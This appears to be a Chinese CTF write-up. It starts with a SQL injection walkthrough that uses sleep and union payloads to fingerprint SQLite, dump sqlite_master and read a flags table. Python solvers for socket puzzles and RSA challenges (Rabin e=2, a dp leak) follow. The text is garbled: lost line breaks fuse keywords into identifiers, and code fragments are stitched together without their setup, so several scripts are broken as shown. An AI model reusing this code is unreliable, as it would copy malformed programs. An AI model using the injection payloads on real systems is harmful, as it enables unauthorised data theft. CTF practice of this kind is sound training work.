我尝试了基于时间的盲注 admin' and sleep(5)# 和 admin' and sleep(5)--,响应时间极短,说明后端数据库可能不是 MySQL,或者不支持 sleep 函数,或者注入点不在此处。
接着,我尝试了 Union 注入 1' union select 1,2,3#,这次返回了错误信息 unrecognized token: "#"。这表明后端数据库很可能是 SQLite(因为 # 在 SQLite 中不是注释符,而是 token 的一部分,而 -- 是注释符)。
我立即修正 payload 为 1' union select 1,2,3--,成功在页面上回显了 1, 2, 3,证明存在 Union 注入漏洞,且数据库是 SQLite。
获取数据库结构:
利用 sqlite_master 表查询数据库表名:1' union select 1,sql,3 from sqlite_master--。
查询结果显示存在两个表:flags 和 users。
flags 表的结构是 CREATE TABLE flags (id INTEGER PRIMARY KEY AUTOINCREMENT, value TEXT NOT NULL)。
获取 Flag:
构造 payload 查询 flags 表中的数据:1' union select 1,value,3 from flags--。
成功获取到 Flag。
最终结果
Flag 为:qsnctf{e43eb576d9fb420cb6b10637317426e1}
编程
上下火车
from pwn import * import re
# 配置连接信息 host = 'challenge.qsnctf.com' port = 55594
defsolve_train(a, n, m, x): # 用来存储每站上车人数中 a 和 u 的系数 # U_i = up_a[i]*a + up_u[i]*u up_a = [0] * (n + 1) up_u = [0] * (n + 1) # 初始站规律 up_a[1], up_u[1] = 1, 0# 第1站上车 a up_a[2], up_u[2] = 0, 1# 第2站上车 u for i inrange(3, n): up_a[i] = up_a[i-1] + up_a[i-2] up_u[i] = up_u[i-1] + up_u[i-2] # 计算离开每一站时车上的人数 S_i # S_i = S_{i-1} + U_{i-2} sum_a = [0] * (n + 1) sum_u = [0] * (n + 1) sum_a[1], sum_u[1] = 1, 0# S_1 = a sum_a[2], sum_u[2] = 1, 0# S_2 = a for i inrange(3, n): sum_a[i] = sum_a[i-1] + up_a[i-2] sum_u[i] = sum_u[i-1] + up_u[i-2] # 根据第 n-1 站的总人数 m 解方程: sum_a[n-1]*a + sum_u[n-1]*u = m # u = (m - sum_a[n-1]*a) / sum_u[n-1] u = (m - sum_a[n-1] * a) // sum_u[n-1] # 返回目标站 x 的人数 return sum_a[x] * a + sum_u[x] * u
defmain(): io = remote(host, port) try: for i inrange(100): data = io.recvuntil(b"Your answer", timeout=5).decode() print(data) # 打印当前题目信息 # 使用正则提取参数 try: n = int(re.search(r"Stations \(n\): (\d+)", data).group(1)) a = int(re.search(r"Initial \(a\): (\d+)", data).group(1)) m = int(re.search(r"Total at n-1 \(m\): (\d+)", data).group(1)) x = int(re.search(r"Target station \(x\): (\d+)", data).group(1)) ans = solve_train(a, n, m, x) print(f"[*] Calculating: a={a}, n={n}, m={m}, x={x} -> Ans: {ans}") io.sendline(str(ans).encode()) except Exception as e: print(f"解析出错: {e}") break # 打印最后获取的 flag print(io.recvall().decode()) finally: io.close()
if __name__ == "__main__": main()
1
#!/usr/bin/env python3 import re import socket
HOST = 'challenge.qsnctf.com' PORT = 52266
deffind_pair(nums, target): seen = {} for i, num inenumerate(nums): complement = target - num if complement in seen: return (seen[complement], i, complement, num) seen[num] = i returnNone
defmain(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT))
buffer = "" whileTrue: data = s.recv(4096).decode('utf-8', errors='ignore') ifnot data: break buffer += data
result = find_pair(nums, target) if result: idx1, idx2, num1, num2 = result answer = f"({idx1},{idx2},{num1},{num2})\n" s.sendall(answer.encode()) print(f"Sent: {answer.strip()}") buffer = ""# 清空buffer准备下一轮 else: print("No valid pair found!") break
# 如果服务器说结束 if"Bye"in buffer or"flag"in buffer.lower(): print("Server ended or flag received.") print(buffer) break
if __name__ == "__main__": main()
2
3
#!/usr/bin/env python3 # roman_auto_v2.py import re, socket, sys
defroman_to_int(s: str) -> int: """合法罗马数字→整数,不合法返回 -1""" s = s.upper() ifnot re.fullmatch(r"M{0,4}(CM|CD|D?C{0,3})(XC|XL|L?X{0,3})(IX|IV|V?I{0,3})", s): return -1 val = {"I":1,"V":5,"X":10,"L":50,"C":100,"D":500,"M":1000} total, prev = 0, 0 for ch inreversed(s): v = val[ch] total += -v if v < prev else v prev = v return total
HOST, PORT = "challenge.qsnctf.com", 52315
defmain(): sock = socket.create_connection((HOST, PORT), timeout=15) f = sock.makefile("rwb", buffering=1) whileTrue: line = f.readline() ifnot line: break txt = line.decode(errors="ignore").strip() print("<-", txt) # 本地调试可看 # 仅当整行都是罗马数字(允许前后空白)才回答 if re.fullmatch(r"\s*[MDCLXVI]+\s*", txt, re.I): ans = roman_to_int(txt) if ans != -1: reply = str(ans) + "\n" print("->", reply, end="") f.write(reply.encode()) f.flush() sock.close()
for y inrange(size): for x inrange(size): idx = y * size + x if idx < len(bits) and bits[idx] == '1': for dy inrange(module_size): for dx inrange(module_size): img.putpixel( (x * module_size + dx, y * module_size + dy), 0 ) img.save(output_path) print(f"已保存二维码到: {output_path}") print(f"尺寸: {size}x{size} 模块, {img_size}x{img_size} 像素") img.show()
defextended_gcd(a, b): if a == 0: return b, 0, 1 else: g, y, x = extended_gcd(b % a, a) return g, x - (b // a) * y, y
defmodinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m
deflegendre_symbol(a, p): ls = pow(a, (p - 1) // 2, p) return -1if ls == p - 1else ls
defmodular_sqrt(a, p): """ Find a quadratic residue (mod p) of 'a'. p must be an odd prime. Ref: Tonelli-Shanks algorithm """ if legendre_symbol(a, p) != 1: return0 elif a == 0: return0 elif p == 2: return p elif p % 4 == 3: returnpow(a, (p + 1) // 4, p)
# p % 4 == 1 s = p - 1 e = 0 while s % 2 == 0: s //= 2 e += 1
n = 2 while legendre_symbol(n, p) != -1: n += 1
x = pow(a, (s + 1) // 2, p) b = pow(a, s, p) g = pow(n, s, p) r = e
whileTrue: t = b m = 0 for m inrange(r): if t == 1: break t = pow(t, 2, p)
if m == 0: return x
gs = pow(g, 2 ** (r - m - 1), p) g = (gs * gs) % p x = (x * gs) % p b = (b * g) % p r = m
defsolve(): p = 7843924760949873188201496026705455073125667712660002135887161079633254312879905501204855425456884502003894146991780856880279808965014803584494444568674087 q = 1140962409915024811090299765305244489074219812060197521898407764373654976342197131381234656216901694745972908393258042324146363330463003052469652666554471 e = 2 c = 170041716912112266353311555796224814539989621875376673120238246557647197956716037204849248165596484091026430610474184173388604052966204512334147210403868840531083264816571442641437961 n = p * q print(f"p % 4 = {p % 4}") print(f"q % 4 = {q % 4}")
# Calculate square roots modulo p and q mp = modular_sqrt(c, p) mq = modular_sqrt(c, q) if mp == 0and legendre_symbol(c, p) != 1: print("c is not a quadratic residue modulo p") # This might happen if there's a typo in the problem or my understanding, but proceeding. # Actually modular_sqrt returns 0 if not residue, let's check manually. if mq == 0and legendre_symbol(c, q) != 1: print("c is not a quadratic residue modulo q")
# Extended Euclidean Algorithm to find yp and yq such that # yp * p + yq * q = 1 g, yp, yq = extended_gcd(p, q) # Chinese Remainder Theorem # We want x such that: # x = mp (mod p) # x = mq (mod q) # Formula: x = (mp * yq * q + mq * yp * p) mod n # There are 4 combinations: # 1. mp, mq # 2. mp, -mq # 3. -mp, mq # 4. -mp, -mq # Note: yp*p + yq*q = 1 # So yq*q = 1 (mod p), yq*q = 0 (mod q) # yp*p = 0 (mod p), yp*p = 1 (mod q) # We can use the calculated coefficients directly. # root1 = (mp * yq * q + mq * yp * p) % n # Let's simplify: # r1 = (mp * yq * q + mq * yp * p) % n # r2 = (mp * yq * q - mq * yp * p) % n # r3 = (-mp * yq * q + mq * yp * p) % n # r4 = (-mp * yq * q - mq * yp * p) % n # But wait, simpler CRT implementation: # x = (a * M_1 * y_1 + ... ) # Here M_1 = q, y_1 = inv(q, p) -> this is yq mod p? No. # yp * p + yq * q = 1 => yq * q = 1 mod p. So yq is inv(q, p). # Actually, the extended_gcd returns yp, yq such that yp*p + yq*q = 1. # So yq*q = 1 mod p, and yp*p = 1 mod q. term_p = yq * q * mp term_q = yp * p * mq r1 = (term_p + term_q) % n r2 = (term_p - term_q) % n r3 = (-term_p + term_q) % n r4 = (-term_p - term_q) % n roots = [r1, r2, r3, r4] print("\nPossible Plaintexts:") for i, r inenumerate(roots): print(f"\n--- Root {i+1} ---") # print(f"Decimal: {r}") try: # Convert to bytes # Determine length in bytes bit_len = r.bit_length() byte_len = (bit_len + 7) // 8 decoded = r.to_bytes(byte_len, byteorder='big') print(f"Decoded (bytes): {decoded}") try: print(f"Decoded (utf-8): {decoded.decode('utf-8')}") except: pass except Exception as e: print(f"Error decoding: {e}")
由于 dp<p−1 且 e 通常较小(本题中 e=65537),k 的范围在 1 到 e 之间。
我们可以通过遍历 k∈[1,e) 来寻找 p:
计算 X=e⋅dp−1。
遍历 k 从 1 到 e−1。
如果 X 能被 k 整除,计算候选值 pcand=X//k+1。
验证 pcand 是否能整除 n(即 n(modpcand)==0)。
如果验证通过,则找到了素数 p。
一旦找到 p,即可算出 q=n/p,进而算出 ϕ(n) 和私钥 d,最后解密密文。
import sys
# Given parameters n = 15436586506265382785524723267926444275462583019354383194654618933970433830434544481689625981207606375978708092558218246652496848076710411132268953499043735379180887935756772262155008862710764094267410967565241203605386593697737434875910984139143271151900377372693190411504735649123965519189648830868758032067 e = 65537 dp = 379731142995118368195086502083726192650138136864805821111741080341262318450359112900427553070639257250091100401461103206486523535760843615494638091936809 c = 854977693463411460490582164652536883002498905251706308634386005958509682016980677282553767296915296737583796051269333809745316569004849097563723358017329758234680761174609149316747091398434695986939450351231497326579265836956690907677434464255178122585307742001203732956675315052213672484434073446872723134
defextended_gcd(a, b): if a == 0: return b, 0, 1 else: g, y, x = extended_gcd(b % a, a) return g, x - (b // a) * y, y
defmodinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m
deflong_to_bytes(val, endianness='big'): """ Use :ref:`string_to_bytes` to convert an integer into a string of bytes to ensure the string represents the value of the integer with the given endianness. """ try: return val.to_bytes((val.bit_length() + 7) // 8, byteorder=endianness) except AttributeError: # For Python 2 compatibility (if needed, though we are in py3 env usually) import binascii h = hex(val) iflen(h) % 2 == 1: h = '0' + h return binascii.unhexlify(h[2:])
defsolve(): print("Starting search for p...") # e * dp = 1 + k * (p - 1) # => p - 1 = (e * dp - 1) / k numerator = e * dp - 1 found_p = None # k ranges from 1 to e for k inrange(1, e): if numerator % k == 0: p_minus_1 = numerator // k p_candidate = p_minus_1 + 1 if n % p_candidate == 0: print(f"Found p using k={k}") found_p = p_candidate break if found_p: p = found_p q = n // p print(f"p = {p}") print(f"q = {q}") # Calculate d phi = (p - 1) * (q - 1) d = modinv(e, phi) # Decrypt m = pow(c, d, n) print(f"Decrypted m (int): {m}") try: m_bytes = long_to_bytes(m) print(f"Decrypted message (bytes): {m_bytes}") print(f"Decrypted message (utf-8): {m_bytes.decode('utf-8', errors='ignore')}") except Exception as err: print(f"Error converting to bytes: {err}") else: print("Failed to find p.")